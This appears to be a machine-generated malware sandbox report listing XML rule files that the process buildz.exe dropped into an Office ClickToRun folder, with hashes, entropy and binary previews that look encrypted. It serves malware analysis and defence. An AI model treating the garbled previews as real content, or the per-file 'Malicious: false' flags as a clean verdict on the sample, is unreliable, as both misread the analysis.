Preview:	.<?[.7......K?.g!.t...A.'..R.<..K.w...Q.#.;-.1...ni=>.H....q...yN.y..)..7..\|%W.,4..p.Wr%R..5'../F.02].....K.....>..v._........I..vOs..h...GHc..R..;.].....S.......QV.....A......(..... ......#o...-_......o.q....%...,......A2...c>.H.tq.......f...].....A.0u\|.'....D....W .U..6.Tl.+..Jt.E./.$5e..#2j......!Ac.~(....7.........V.b..RH..{.X...h..X......cx.Q....%.N....`q.\Eet....F.~.....Z.E..w.J.X....>~..\|.4..0..Sq.\|...a..n...y..:.........}.....~.6o.#..]"...zy6R....O.).......e.q..X...~..X?........%OC....."f..A........s_..}(M.>..w....<<.!jX..B....k..&.Si..E.............K>5'1.~....]+2..@g.a.......V.....~..K....W..T!.O....X.....z~..g..%...]7..K...O.....)....E.x`.....}.AF.zy.S..2.m-.....`.Lt.K.{..~M)..J=l1.G/...7+..9/pg.......c.U#.ywo..D/..WI.2p8.. ..F..Th......M...1.g...i.K..d..y.Rq.Q..'..aa..a..Z...F.H.....uIC....7...; S...Y.#.C.....i....7S....+..:=.'%6U...b.U.].ie..G..8.3....\|#...&<U....r4u..]....U)...lp.o.qX.0>...n..2l.h..{JfWD.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.72146580182774
Encrypted:	false
SSDEEP:	24:oIo7ecJhZ+dT2k0AU6K9lHmtlQYHuYYImfkKHbD:KaeK2k0OaGt2Y8fD7D
MD5:	6BAAB3F76A64F7418C20B3BF0C22953C
SHA1:	B0DEAD7801BB1DE5E2C2901B0354DAD736CCFB6D
SHA-256:	BD8ABAD1A28442F7B4A2AC527F9EE4CE9E0B8A19DD399757E2993B5C0E5DE712
SHA-512:	FF3B4A1F04940B11129B5AE978740A90B8DFB8F80FDA27959E4EE2ADD932E2B848D047C8C8D895D5257B81FD3BCBD79DB147B672C95E2CAC3A74931FEC2B3D8F
Malicious:	false
Reputation:	unknown
Preview:	<?xml.}.Q...+..t.QG?..jh.3h.....S.Q..U.CK.5%..F.\.V....#@.......i=....#.5^..-..R&Cr../<..Om...<...RK..pj+..c0....7.Q&^0...4.=..n..#..X.$.D.&.\|.<g....<.....D..0 FiP..ao7'..t.H.j.Z...er.. .YU.F.%{&....4..d..3s.3.z....[..C....$...!.....@.S..:......V....0..vN..L..K9..6..Y...v.1k.9.u..\|E.p.H.U..i...#..^...o..=...7......b.7pL..rT.P....2......YNz...)....n...#}la......xx,.n..e..rp.5.nw...&.....C.8d..h_.7...t.......u..j.2...9.H<...923.tRz~.:...A3..O?.O...XD......F.n.'3..7..`...7.^.T.?.b.^a.........'..........2,D.$.CD~oP...d........A(....~..nx..$&...[5.66.."zB\.e.G...........o.._B..p..tq.....[....rA.......xb,.J...q24......!..Y..\|.R..2v./.. .....'0..JpdP..%.I....9......~Q....m..b.y..r.-.`.Z!.3.M.?..Q+..N..<............ ....m+\|`fK...c....a...I.T/SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.680588384777681
Encrypted:	false
SSDEEP:	12:3qDGbie5P+ps78lbrTCNyc/O0rzyMqoCYbWWAyo29vciUGLRk1+cii9a:aSWelXIl+T/Brzy2Wzyo29vciJ/bD
MD5:	D2DB32D1C85C0A10298CFF2549D462FA
SHA1:	473A05CEB68DEB242522461921B5120F41DBD405
SHA-256:	99D6B36D54E01FC09F83FC7EC7CF68D16F113343E8031424B1BB22CEC8C0BDFD
SHA-512:	0E2358A49A9E87FC224D0545D084BC62D64A3B454E754BCF553143B88C86626453E9BD04136C1CB1CA4F6EB907C49F76F6ECF8F39DD4F725121335BC16C42274
Malicious:	false
Reputation:	unknown
Preview:	<?xml.Pz.....5.... .....HS#.Nv...b..`..9....l...._.......<p...R.....2JD...];.+,....T..L0....<.9..q.h.k.u.........s...`....)...Uvf...x0.!.........B.*.l.:5....?.`jm`..`.?L4u.....=XM...c.].md..N.....X..]B!..ghU..V.(.....0....ID<g.7dP.1dfA..H..$....M...1..3.;U..zl...7.4..i.X..n....^NpE....lN.lQ.?.....e./.M..~{.h..'.'yV<p.r....y.Cb.-..gE.h..O.0).1D\)..\|p....)...\$...y.^@...$T.O9.....f.BX:d.O../..A<)...6f..;.B=.P..q...P.....v3.M.[.$....~.J..{.J./.VF..F.m...9dfn._G.L.e8'd7............>v..-.E"p...g.$.&.w_.um.hpl.=9....J.7/..].\|..5..S.........:.2.I...8........1....-....&..S.t......'b.!..-e0.....)t..bpu..J..6.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1686
Entropy (8bit):	7.897268748228918
Encrypted:	false
SSDEEP:	48:LYlcG3+f460RNKAEIYKnbLXPi1nGRQzDCED:LYkft52nbG1G6aQ
MD5:	40A71CCD20F5077F17105CB8D97212EC
SHA1:	6DCCA7E0217B8AC56576B261B3EA162B915271EE
SHA-256:	2F68F8B19243245C9C27FA5AFBACB88AE04633002B70AA6DEBE41D5A230D4B2D
SHA-512:	56C6B476513F8E22B874A27974D46B9694F6B5486D9E959434E99A2C38C02FFBA43046DF6CF1C3C1C4BE9FC6EF1454E617A986017CDBBFD27E2ABB69A8492B7B
Malicious:	false
Reputation:	unknown
Preview:	.<?z..._..%.,OR/.....n..h.9.fz.K.i.F'9.......j.I3>.....kW...^...N.1M..n.6[Q..}..zB...J..7.#.o.&.I.c..&4..s..#..&....r.l.Sp....D.;..IJ.;...?....1.....@....jc.A\....t...\|>px...t6.5...=.....H>a(....(..x.#1D.-....^..Mq.}.....qF.`.....g...L.l{...3.<...0.../.1b..m.>ho.. .O=~..<"".0wi.ak.cX.3..\9..@\|D.g.:....S\........7e......,...c.H.c..:o.>..w.:d.f.]...i.<....N`............t?..2.I...;...s..(.e..1.6.=.....U^..(.e......W.w.3..n.x....D0.ioP.{##...PS..;.d.$\hVt;R.TD..`..n.2.3..U..z.=3.....j...B..l../8.tz.....\|.....e..i......h.^.]U....m..Y...(V..,......:_..K.S.u.6.....]..N>..aD..W6..-...u..$....h.9..>yf.j..fuJ.z.e4/n..J.$.IL..G..D.`d`...5Mj....J&<.N..z......$.a.c)B'.e.a........O.o.X..U(r...S.....E.........O..5GC....n<..H.h......6.5.......w.AdqU..L.R..."2..'.{\|.......4......qP.t60.(5 ....U.I\A2.B.FI.. F...'!..:,...N...j8.G.s.%!ZNRA.5.!C.R..O._ek....n..i.../.......Z]...y....}...g.T.8..T...@!....%.k..&h..Z.j}...O...`.n.qS..S......o...).=.-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.881314700412997
Encrypted:	false
SSDEEP:	48:VDXhCbPMlCEmNg5BKrZadZyoitwGZZbnUD:FhCZESWErZa7yoitdbnA
MD5:	119FAFB2C551E0E9D4AB6E0FA9C8D302
SHA1:	B4F0537CBAA9623C6CBA0E8A4CE93CB20A2559D4
SHA-256:	9559EC66194C10DE292981041667071C3DB69CFF2516481AD4DC91690C709410
SHA-512:	FD0B626F5BAF77D1E6ABAE32BADFABAB5DFA4D412BAD9C2032C2B8E7A62E25698900B4CA4FB0A66CC251C0CDF265089516830345BA182F2E83F1AAE87A3779A2
Malicious:	false
Reputation:	unknown
Preview:	.<?.&..q..\|%.W,Q..8._.....r..}..:]e......` \]......W.._.r..sP._../f.J......E.z..... ....}-...F....V;;.urO.D......`.l5..'4F...uV2..._R../.P.W@..Jw.....:..s..zg@..=.p.........i.;...S..=-.{P...Z.u......g..}../.+\..E..^8k...G.....<Y..d..........f.l~..."Y.}Ur.R.../K[..!..I....c....e.M.......8.^............DX.;qy..t.Js....tut..i..........m.d>OiE.@e4A..0N......c..5.5.C\..#M..'..H.&D.....28....^.7c...2..r].....&.8.e.l.Reua.........-B.v.F.@...v...u9.xMDut.....SC.1..P#.uo%....}.%.W..}}..\|..U....M&'{.....]+d...W8.s..I5..... B.../....)YZ..p:.\|j..Ks??i.....j.B.wF{[...q.Ti.52.....V.r.ib.\......$[8w..`.....N..\.\p{l...Z.6.".N....L#KS.y`@[..<__........O..z`.=..Z. ..('............=.c.yg...l..7.....UT..k.^..}n~.j..Z.J.s..0....6.....Q..o.C;<.\...v..<.~.....2...wB...\|.S...#...^+.....F....4u.6........(p+..~...'5k.{..)...{J..\|.....~....e^.U.&....W...RW`..`.^.^.....K.y'..@./%....~..5 AQj....X...n.E...DbY[....'x..y...y...A'.epz..D,.B8.S.._`./)n./9*..:....Nl

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.738432144934194
Encrypted:	false
SSDEEP:	12:EQEQ3AAZ++x7loQs4dzyNw18dEJO8i43W9yXlwZ0/0NXwzX11+cii9a:I8+sKgt/IEJDgy1wy/qG+bD
MD5:	79BB2CFF9A6BBB38D09B1352FEB3D5BD
SHA1:	6AC443AD6A9868A674C5F8720319A851E1A37B79
SHA-256:	24FACC60D907B5C246C30DF9E272296672B44680AAC78E5269E46690E6323900
SHA-512:	358212A4BD0AFF02C8E2D9AD98BF46CB12F7C000489DBC620E548C05655B8C634BFC7EC41FD0FFA67B898263E57B071F38DDF8C6A20EFE087D663A5DF87C1B09
Malicious:	false
Reputation:	unknown
Preview:	<?xml7.....z..q..=.u,".F.!p...!......M.......<..Xv.c...e.....E2.VeS./6...8..w.[sj.PY. k...E .).Z8......'Uc:...uo.........=....l..t1.qB.y..O. ...<.......!.V..g:.....~..S.w.Y...........#.....\|.....X...11.S..e...7.u.X..g).7}..$.#.%..~..$.u..U\|38....>.-......c..w6....m........1:....z..G........f.......o.%J.TF....;.. ..7@+.Z..M.2....D,7.S......I/e..`.h.@..fSL.;...J.......L)...~l.u......<.j..-...5..8V..Wl`.......F...... ........\p}....+B..".....":.tCv..S.).$....y&.x.....T0&...Y.............0+.f.9Y....-.58.!.'..[.....W.Y.S3a.r....J....8.+\.S.L..).b... 7....V'cE ...u..o.....!.<M.....K..bx{.Q.Vj..]9p....W......WA.g.nD]}..d..i1.........N>....D..&.x..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.88680925692024
Encrypted:	false
SSDEEP:	48:ZObP1Lxvxez10Zhk0WpBapHqOnqfl0IpfgD:Z0LxvEKZhbWp0QOqfl18
MD5:	33BAECB9126F640371FDC37F6445D2E7
SHA1:	E70BF5566325CCB3773E9C312B409F6202EC1795
SHA-256:	1E7203EA4339C8D5EBA54CC4A70D97478F908E3133746843F153816CA9AF5E94
SHA-512:	FD4B1C97D033A75A573CD8E86829C01F371C74787F4EA496E7C32E594279DFDCF93EBB30886072F89BBB22ABDA312DC576915535319F39221E3394B11C40BF16
Malicious:	false
Reputation:	unknown
Preview:	.<?..........I.........G.f...y$.M..[.A...?..FZUh..C....;..>.V<..>....5.j.s.n`\....O9R..2..p1.W....K.m).,I.....q..n..&...57....{..Dm.~).7..x...S..2..Y3i.....9..~.'fLt)..R.G.;0x....@5......(.fS./:.....5... H....m.J..F7.E..<..e.}.....X).8.>H...h.G.\w@h.@....X.S.+.q.3&.X..;.......?.(.[.bq]./. t.D...Z./...9.&p.%..3.H....G .^..q.k.iZ....l!..]..dN"$I_..<..o../...}t.;.(;b<..D.....tU4....q}0.F.9.......p.....u..9z..v'..oP...>...oh=...v../5.)-....qS..G)..}D.$&.......D`+a..IF.m...'.G..A..o.K.^.9.bD...!.CX....v.r,..6.qJ..0...$.....]P.&.[4..(...,......x..d,...#..x...pc..0.1...k6 ...x..qSd.RS.o..[.jv\T..mQ.)#.._.Anz.o. I...G..[._.!.s%* .Q'.v2...a...<P.x9.o..Sz[T".a.9<..7w2..8..k...,ul...<..3..YMkb..W.J.sS7.Hd.^.T.....x.?.0..k&".jr..zX.(..J...e.c...7.cG. n...V./......H...M......5..".z]..v..>........,5....K...`.-.....t...6.....0...... ......v{........Q..9..^...r;..t.g.h^.NE......52cd.P.1.g.c}.!.a.L.....W.@.pD85q..J..N..G.6-..3.ln.......p.7f...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.891320811726685
Encrypted:	false
SSDEEP:	48:gXFynEaldIsJZzDoD/7j2gySFfHyhb778eDvdYVSD:fEudIOzDoTyeQ/+V6
MD5:	BAB53497E8FE4840A75825EBD80883B1
SHA1:	CF8E3DF8819402A462D297D375B82C0DAA1B1B35
SHA-256:	1CBDA663CC6F9FE100DF1264BDC28415D0029FAFC180DBECD399C1E59530EEB1
SHA-512:	702F1E33E5D8C72F113CDE5DBABEE0151B86BD8DF8F32D8333BA2773B11107E77BEA8229CBCE659AD1EC3093F6D653A79E619F61BC095BB964062BDB4F2E8AD4
Malicious:	false
Reputation:	unknown
Preview:	.<?W...{....@6-..,z.P`.I..t.Ts...........e6@.8b.j. ./.....>..L.r.1x.!..[xK.[.!@...U...Ao.`9.X..0.G..`Y,..t....n...u.......8O..8,..D..5\|.>U.7...\.....Y..C3.R.i.o)..x.a.l .`..y.1......~^Xk{J.(S^.{...1.8..Zp..:=\.#.......Te8.Xr..ly.n:V..._Cj.......C...`v..........Z.;?....e...=...p....".N#...U..s...be..jw<..\|={...Q.2.EN.c.'.!..S..yz.;...9..$!....eO#..Mx..z...C..........a.g.\|....Z,....%.+B.t...F.MM.......l...k./.2....b...c.~...dMWG....#$J.Y<.C..sW_.. ..D....U{G.#y....Jod.[.+......L...sY.K..31..F?..@.T..FB..g.."o..R.M.X.....F6f..A...d..x.>..@.g..>wU..t.z;.^G.'Q.Prc. .v.3P......-.^.r..hQ.&..Dp..SJ..3....\|.."..K.f....-lr.a...\,X."..0aL.".@De.V.......X.q5...........?P..`(Y...d.......!.E.a.n...:....m..:..+....&...+.2i...Wy.qW.D.j...lf..4..L...].N....,z....=....<g:.y..f...Ul(.h...M....Gf..t1R...U..X.o^V..E#......./"....L.....C6....2s...wq.y.If..r..w.$.........#.....!.H(F...zz'-r~.eh...QT....@...gT.N..s.)&]uG.n.$...%...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.8925695543576415
Encrypted:	false
SSDEEP:	48:WJUu+HFq3jdLbOjXbIhruaZenYiw4KgI8UTD:kwHmj4SuKenzlKz/
MD5:	1BB511DF2ED6A5BAF5A74CD072596297
SHA1:	19151BB8DDC8F922A5BA0870FE535D2814DD2D19
SHA-256:	1D5825D37C24A120B9E3DA00A28E62B1124BFBE855623A88802FC3398952EB47
SHA-512:	BAD94E8AC6C4F6E3310A7F3C00E91C4D99C344F83607F6E485367B34FE3AF14107C4FA8EE9F605F9FF22FBD39CEE44CAE47F3760DA98B4CC0E061A0A9012DD62
Malicious:	false
Reputation:	unknown
Preview:	.<?V..s^.S..r\|.#....87:..%.Pa.h..M.M4..J.j_..o....c...\;........pE[.....!e..@5...o...8[,..QJ...AL...b.YVF.5:.t/!.w...[..N...q.....c!..H...YpaP.Q2bY..x...D.....<R75~x.T.8C......D..O..U...?.!......F..m....V7....Kf%........E'.1S....Z..be.B..1.eoJ...[..B...Z~E....r.k..R@.._,../....}..Y..Jt.6~<\...~...stv..Iv..B..Eu],...V....M....Ym.CV.p)...zP.1....t.....r..!.1^.Q..#.'.U..)...d...\|.;"o}.....[....].E.h..$.bx.J..]&d...z[....).+.H...,..V..0.4S..y...t~...[3.!...nm.....5...[..g..s.jzv.........%s.q.v..T.1..)./.g.w.GZ(t#...{I...(..sVU.{..;.0.....M..N.N......D8.q....o....!9....+..Su.wR4...!.a.....v....]..Q.30'd#.H...^........&.R.....w.>..c.Q..>.2.S23c..rj.`5VD.....8P( .".._..O.4..kC$1..9...:3..x.h.b..1..J.,x.^.... ....'..n;...e..C..}..P.#O.......~f..b.(...%.A.>-lA.F..._.:.".a...'-&_X.......]X.u.G...q.1...'6.$j.!.k..q....4..............:...%.=..D.Eg.>.......%.+.wL..77.n..".q.......].t...DYh...J...p..Z:.Cb.^.ay.;...q.!..L=..[.<d.%..O.....M.6l..u..c..lnGt.....GC...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.89398935499263
Encrypted:	false
SSDEEP:	48:DiEfecwvdGRwlWf7+wry3UU/ZoU02jjOogyD:bNrfr+N/F02PD
MD5:	817B3F31DDC30FD7E49B5DDD49492DFB
SHA1:	77B816C6D95FE251BD1782C9C23484B0D2C07F52
SHA-256:	5903A7A897B7468E2508DA7F736A23B0716854FE3A2197F0DF8A944FC2349A5B
SHA-512:	8A3222FB2F6A7A283C71B7A10E76FAE8CD8493AFDBFDDEE3F01E2EE56216C130451B07453562A288FB4F9989C8D74924D3CC634EE049D211C60C7CAFC3C38154
Malicious:	false
Reputation:	unknown
Preview:	.<?.T.8.,2....wU..W..R.5..E..u.j..&.9. .....8......O.ET.3d.\|........;W.3}....p.....5.....e..v...m...]..6.{..&..._...a)b%~#?nV.Y....)E....z..D7.gz.....1S.."e.....z......_a.+v.....2..1..>x.&u.a\.d1...2.e.g..c.....h..g...tH......o.....x\|...Z$.&......F....\|!.......$\|0m.......Bq..>T.},.v..a.....,g.a.K..0.q..i....s...w..%./.G.......M....{5._..w...i...}..43.')\|..J.f....._j.....=."@{._...Q3..<}/[../.26<......j.P.t[7R...R...f.......o3@......x.M...V.J;..F.y....aH.........&.[........8......x{.N.&9J.]v.4.UtA.5B,......u.~...........]iY...$.}."..%..`..>'......xMG....,.j....4.k.$o.:..._..l.S$z.d.O[\|.+.w....7.p...s...e.2..f+.....Y........x.....}...F..m..^A...A..rj....NMP0.?{..R.E)y..i....3.[...a....$...2....=$.(.......-..V{<..W.Cf..>.....v. ..yQ..2..$..j.J......../.7..x).l.P...E....6.@;....a..}p.XY..g.9(].b.~..a)....M2....}.K...)....l#.G.e..)..]BT...NVT%.:T....b...?]..'.....y.F..y..E...,.......\...x3..:....ux..Xp......-.$...&.v14.k!.<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.895733188805596
Encrypted:	false
SSDEEP:	48:bmgq4qJkwZIYQd5WHOcbYzoAmhAmhCIcmD:TqJk4W5WuDzmbB
MD5:	A327FD9DD49FC3DBADFAE21D7685B75D
SHA1:	90DFAE43F3802BB160AC5F31E3B7EB36EFAD402E
SHA-256:	D73F2F4FF47AD0866AF46A5B636CAA7A76F1F691A2213A78DAF7A3F352C030B6
SHA-512:	88CA1BF25D26562C94FD0D8E8E4DBA5571EDD66F2F1EB3EC144F0082C78B2462C4BFB4E139E1F6F5FB5F0DC357D96E79E2C68715CD65EC18C8AEAD371C39C7A6
Malicious:	false
Reputation:	unknown
Preview:	.<?t-r.~Z..G../MH...R..D....i.T.ADn.)........0..k.r9.h't.!.4.W.9.)x..\|.....w.Y...L...@j2.J..u.BK9h..h..w............r...x.`....H.f0....:..M.n.(.........i.w.\.+..s.]...7.........6.N6..q....).....nb..va.P......G......=.......4.Rw.. ..R.{....+\'..O....S...]Ko.J$.B....n)..r.S..l..A..-c..j.%\|.6..I.<`...........'R&6.=....Yt....<.b..6...GO.b.....&..N.@J.fim.2...t.....8k.F_..G..~u....V...Dq.g{.l...I,..:..5.V...,...z.RgC..D62.y......r......4...U..Y...&I....o.)3;l.....<.O.n.z2.Y....^..Q..q...a...~.m...$.\Zd]@..&...p.gg.a....Tb,.8.b1.Rp....).. ...Uo....C.}.O(...[./...,.$.%....OM'.N....`..Uvz.....`.g...r....7..^..goF.".CW..O..<....k.Q..h..A...;.B....8...}....jy..._xr9..P.O.H.-T.T('T][.. <..Uk.V..`.Nq...:4.t.v..z:v.l...?ekHK........e..}.....3xE..0.._..H.........%..C`.<..s.Y..].dyB..R.C.8.}%...t...N...]...)a.?.Y.0.?..RQ<).e..v:\|...\|O...:j...".<.....R..N.....k;.....Z.={.ol4.7.4%.UO....QZjPO..*.o..j....i.V..~.L-dB......~..U..HH...U3....r..L..N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.886863598069425
Encrypted:	false
SSDEEP:	48:VN/vYSml5kZJ4E5ENVJFoARYH81VSEA/rWVD:cSmbkZJOFNYH4VSR/+
MD5:	63430385408189958215D4AD0053A605
SHA1:	874A31A3944C303AD1F0E8B13AAAB59FC72C9251
SHA-256:	C9F7BE589DFEFB3F3DC8EAB88E0FA9D33AC19FD13DE29EA3DA581BC3DA18075C
SHA-512:	2DE124746482245B92D4B19B23A03FE57EA8BB79FBAB199240D5A74A9CFBF154E51B14CE454E280704AB4EA2AB19A9F70209B8968184A2E8CF1A349C7AE14CBA
Malicious:	false
Reputation:	unknown
Preview:	.<?..Vn.H.,.dq.P..F.O...4<t}R.8....F.F.y.b.[...C..0I..u..,.o...D.......t...y.....&....T.;.]..`~...(a.r.v....g..^.E.._...R..N........O....a..y=O#W.K...h]..u[i$Rc>.qp...\|.+...@...ua..3.6.:J...3]l..5l..W.G!l...F/.....1....#/.z0Q.KP..]..y...N.!..d"..nf.xr...h.T...1@.p..Z.y\.<x.6..j....`.>K.P%...f"........I...Y..y+..6..yU.q...S.G.V...".%.K.o.(./gtZf.W..'....>..ve..U.........J.JFc...m..T..&......./.f.........6T..j...`.B...9..?..K...(.b..s$...p.(y...+...`5.....M.!nH..!1..Cbn...:....Y..".1....}xG..ZH...\.p.#.U.6O1Y':q....10.`.ho....Y.....k.Y..,f-.iyy.;J......P....b#.g.n..-.fW#xG..K4.]..i....@Q.eI.7.q......U.....t.S\"..~RK..e.e..Bu.)...O~NLE....x.......>...j}O...<..2rH9....wG..X.A..q.:..g...4...q.......P..T...)TK.}.J.......!...:.T.Z.~9......k.G..".`.#.3].R..........D?I...^A.Sv..j.A..:+}r.9Ge..?....F%..B..W7.#..{..lM..Q;.W.j+.<..]X.1l...H.......#U......c).a......j.r2..f=.D.8......(..G7..%.......0.....1a.a...y...U..3..<...a..xy ...Y>....F\|Y.q..U.$]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.8858378661587345
Encrypted:	false
SSDEEP:	48:2L27L99qZRoz1jJlPk/8rOyaKLFnH9pPBbxZybwTD:5L99kRe1jJhrDNL9jPBbbH/
MD5:	1033FE0E43DC154307511C8D021A550D
SHA1:	B2607F3167455E03B072A217BEBF5AB99E2853F7
SHA-256:	5D12E2CF4B04A06D22A7C2F38AE2050EFE610606980B1EAEEE642832DC75DCBE
SHA-512:	1EE6B02BC4C87E898C6D26A08C7149AEA4A585E6392046BB75608975DBF451AE716CB657A71624A44B50BC6993EA628FE8DB40D9DF3166BBE93B27D7B2C5F081
Malicious:	false
Reputation:	unknown
Preview:	.<?.8.Q..b-/.E.K.(.......O.......@6..&...b\|;..e.............;.g....`...AG..O....vx.>~M..fS.z...n.}..$..?.H#D.4.>=. ..fX..Cq......m.h.c.n.R...A...y.h...^p..3.@.8.x_..,Y..8,..e..!0.Q...._[1F..Gx{...}..V.b.l....$...8P.[.......P...e<a......Q8..)...IU....(Ux..i....v..=....E.........v.7.EsB..LEp..C..:..p...b......F...~l....u..O....D.?u.qSu.....\.../..w1...G9.v....b9.T.:%em@...A..i..q2..6.Jb....`..U..E...D..........R....6.vt..H..(.G../-..).M....2Xf.;....u..W..w.$[.\|..L@....\|.......,h>z........3.y..0KIL....r.V..(.<....w.H...y.#......2l.......\]X..G.....7.g\Rg.=._.^a4.N5(..i.P....?h.......5.._.S..b..h....So...5..y..S......P.'R.n...n..o1...LK..&..f...D.X.9...z...3m#.4.0e..m...S.jL.o.&.eT1.Y.h..V............R?.F.}....[}Z..p0....t..-....3{..zH....W..K..0..J..L....;{..{.D.I..2.m...e)..R.%.B.qu.....q~E.>.a;...}.]E@.2..i..o..S....?..L.m......0ZK..vK....f.W..l.o.......`,\|....VJ].....pl{.~Eur.Tb......l..Z.!C..>..[</.jKd%b.`....j........s.KT.=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.867327517803292
Encrypted:	false
SSDEEP:	24:n5B6Lbalp6vH/A55VAwwuVFDN3zpmu8SjhbKCmVkCpWDAPCPwLiWfRDGHGWrmYz0:nfmWlEPY5D3RdwVkCpZ/ial4el3D
MD5:	0C3A353430AB8C5AC41D25AE01B896BA
SHA1:	27B1A050EDFD1B951180F3C70A3B96679FB66DEC
SHA-256:	7CC2163A378CA58D3613F619100B182430E99F6D6AF1444EB64B7B1CC8669E8B
SHA-512:	0265DFAFB41EE36FC1D2EDD547BA07D8412A4EC3C24426AE6EE0C14BFEA474547F04B043C9A08B3C2C03D4D02CC14320D03DBC10D6AE57A13BD7AA187EFFB5A7
Malicious:	false
Reputation:	unknown
Preview:	.<?../...Z.?.'..G..O.\V?D..:!...uZ....n.&.-..e.~..`.x\|.}.y.;z.~$....../y....t.7.hX.Cm.a.n.Ip..aX.JyZ...C.6.y.s..v..h.z...>...C......x...=e]G`..D)GCM@..a=..r.\|3.W............^...;..j,#..0.y..K<>2P}..CQ...:....d....Hw.t.\|.........C.....7..7....../..!...Z....eT...j8.wM......2X..MM.p".....H..jQ@..=W....n."..n..A.."...;]/..o.!.......DHd~x>p...Tq.+Ym.A..h......Z..-.w....)0a..i....F.....#...-kq...ts..z...g.XC..t....e....#......(..........e.S...N..?......C..{s....3;...c'.\|w.=..m...........C.E@.e..IkL..7t....!........E..\|..6....\...Dm......]..p.DD.<...v...l..u!k.1..S...pm...-J..G.T)&....O:\|).....L+L......6.#.X.w=..3).....W.qAo..$eSvDh5,Z6"=..5{..:$,".+....>Z&.I..<...jt....G.8...O...,..BN.tG.4....\|.......s....`Qo..m".......O#.6...c.(..n.'wT.h..?w4.X....5.(O....;..]F.[...>...p...g....eN..:...q..MZ...zV...~E.Pq.Q.]z...+a3.a...B...D.J....C@6....u?.;..y..D.1..zf\.&O......=.......}.......W...3..6.L.g?}G.4....tgn.6h.J.w.kh...p..".....O.EE

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.93152587159976
Encrypted:	false
SSDEEP:	96:5/JybluU3k0FbMFCMflQHpkWu+T6O0figg:NP0FoFCOuqXOzj
MD5:	339E01BFF4A8CDD8EF8700B5FD3A37FA
SHA1:	40C1562B2376EF2D3DD89EE01489F8FA63CFE094
SHA-256:	AFFE60EC152869BB88979FFDC2818FD35459DA9E6162F576C93EF0DE615F4B2F
SHA-512:	670427ADF80E7DC405D6F02619709A0F035C0C7FCD2F166815EF67F4CE31BFCE0F9D8AAB17CF3E3073F93658B69D00D4B6CE8E39FB0D8B74F0127EFA85BC14C0
Malicious:	false
Reputation:	unknown
